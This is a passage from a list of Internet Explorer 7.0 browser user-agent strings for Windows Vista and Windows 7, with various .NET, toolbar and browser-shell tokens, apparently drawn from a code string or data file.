MSIE 7.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 3.0.30618; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618; Lunascape 5.1.3.4)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; Zune 3.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/5.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/5.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; FDM; .NET4.0C; .NET4.0E; chromeframe/11.0.696.57)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; Media Center PC 5.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;); SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; Avant Browser; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; FunWebProducts; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; GTB5; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.21022; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; GTB5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.21022; .NET CLR 3.0.30618; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; GTB5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; GTB5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; GTB5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; GTB5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; Media Center PC 5.1; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; GTB6.6; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.21022; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; GTB6; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.21022; .NET CLR 1.1.4322; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; GTB6; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET CLR 1.1.4322; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; InfoPath.2; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; Media Center PC 5.0; .NET CLR 3.5.21022; GreenBrowser)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; Media Center PC 5.0; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 1.1.4322; InfoPath.2; MS-RTC LM 8; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 1.1.4322; InfoPath.2; MS-RTC LM 8; .NET CLR 3.5.30729; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 3.5.21022; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.2; MS-RTC LM 8; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; InfoPath.1; Media Center PC 5.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; Media Center PC 5.0) Sleipnir/2.7.2\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; Media Center PC 5.0; .NET CLR 1.1.4322; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; Media Center PC 5.0; .NET CLR 3.5.21022; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; Media Center PC 5.0; .NET CLR 3.5.21022; MEGAUPLOAD 2.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; Zango 10.3.75.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.21022; .NET CLR 3.0.30618; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.21022; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.21022; InfoPath.2; MS-RTC LM 8; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.30618; .NET CLR 3.5.30729; Media Center PC 5.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.5.21022; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30618; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.21022; .NET CLR 3.5.30428; .NET CLR 3.0.30422)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30707; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30618; FDM)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 3.0.04506)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; Media Center PC 5.0; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; Trident/4.0; FBSMTWB; GTB6.6; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET CLR 1.1.4322; InfoPath.2; .NET4.0C)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; Trident/4.0; FunWebProducts; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; Trident/4.0; GTB0.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30729; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; Trident/4.0; GTB6; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; Media Center PC 5.0; Zune 3.0; MSN Optimized;US)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; Trident/4.0; GTB6; SLCC1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618; MSN Optimized;US)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; .NET CLR 3.0.30729; Lunascape 5.0.5.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; Trident/4.0; SLCC1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30729; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; Trident/4.0; SLCC1; .NET CLR 2.0.50727; InfoPath.2; Media Center PC 5.0; .NET CLR 3.5.21022; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; FDM; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618; InfoPath.2; MAXTHON 2.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; Trident/5.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; chromeframe; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Win64; x64; .NET CLR 2.0.50727; SLCC1; .NET CLR 3.0.30618; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Win64; x64; .NET CLR 2.0.50727; SLCC1; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; Tablet PC 2.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Win64; x64; .NET CLR 2.0.50727; SLCC1; Media Center PC 5.1; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC1; Media Center PC 5.0; .NET CLR 3.0.04506)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC1; Media Center PC 5.0; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; YPC 3.2.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; YPC 3.2.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; chromeframe; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; chromeframe; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.30618; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; GTB7.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; chromeframe/12.0.742.100)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; Avant Browser; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; GTB6.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Alexa Toolbar)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; GTB6.6; KKMAN3.2; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; GTB6.6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; OfficeLiveConnector.1.5; OfficeLivePatch.1.3; .NET4.0C; .NET4.0E)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; GTB6.6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; eSobiSubscriber 2.0.4.16)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; Media Center PC 3.1; .NET CLR 3.0.04320)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 4.0.20506; MAXTHON 2.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; Tablet PC 2.0; FDM)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Tablet PC 2.0; Media Center PC 6.0; .NET4.0C)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; QQDownload 646; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; QQDownload 661; GTB6.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0; .NET4.0C)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; QQDownload 661; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; QQDownload 663; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; QQDownload 663; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.1; Tablet PC 2.0; .NET4.0C)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; QQDownload 663; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0; TheWorld)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; QQDownload 665; QQDownload 667; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.2; FDM)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET4.0C; .NET4.0E; InfoPath.2; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 1.1.4322; .NET CLR 3.0.30618; SLCC1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 1.1.4322; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; OfficeLiveConnector.1.5; OfficeLivePatch.1.3; Tablet PC 2.0; Maxthon 2.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; SlimBrowser)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; Tablet PC 2.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Lunascape 6.1.7.21880)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MAXTHON 2.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MS-RTC LM 8; .NET4.0C; .NET4.0E)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Maxthon 2.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; SLCC1; Tablet PC 2.0; Lunascape 6.2.0.22177)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; SlimBrowser)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0; MAXTHON 2.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Zune 3.0; InfoPath.1; msn OptimizedIE8;ENUS)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Tablet PC 2.0; InfoPath.3; .NET4.0C; .NET4.0E)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; iCafeMedia; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; Maxthon 2.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; iRider 2.60.0008; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; Tablet PC 2.0; InfoPath.3; .NET4.0E)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; FDM; .NET CLR 1.1.4322; .NET4.0C; .NET4.0E; Tablet PC 2.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; TheWorld)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/6.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MS-RTC LM 8; .NET4.0C; .NET4.0E; InfoPath.3)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; SLCC2; .NET CLR 2.0.50727; InfoPath.3; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; Deepnet Explorer 1.5.3; Smart 2x2; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)\nMozilla/4.0 